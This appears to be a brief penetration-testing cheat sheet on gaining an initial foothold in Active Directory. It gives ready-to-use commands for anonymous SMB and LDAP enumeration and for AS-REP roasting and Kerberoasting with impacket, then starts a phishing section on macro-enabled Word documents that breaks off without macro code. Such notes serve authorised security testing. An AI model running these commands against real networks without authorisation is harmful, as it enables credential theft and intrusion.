There isn’t too much to work off of. Most of AD comes from within

Enumeration

• enum4linux
  • enum4linux-ng
• SMB SHARES ⇒ crackmapexec smb ip -u '' -p '' --shares
• Anonymous LDAP ⇒ ldapsearch -x -H ldap://ip -D '' -w '' -b 'DC=Subdomain_N,DC=TLD'

Kerberos

• ASREP-ROAST | Doubles as a username enumeration technique
  • impacket-GetNPUsers DOMAIN/user:asdf -dc-ip ip -usersfile /path/to/userlist -request
• External Kerberoast
  • impacket-GetUserSPNs DOMAIN/user:password -request -dc-ip ip

Phishing

• Simple options: .doc or .docm
  • .docx only works with template injection

Example with .doc

Locate the Macros

Create a macro on opening

Macros ⇒ View Macros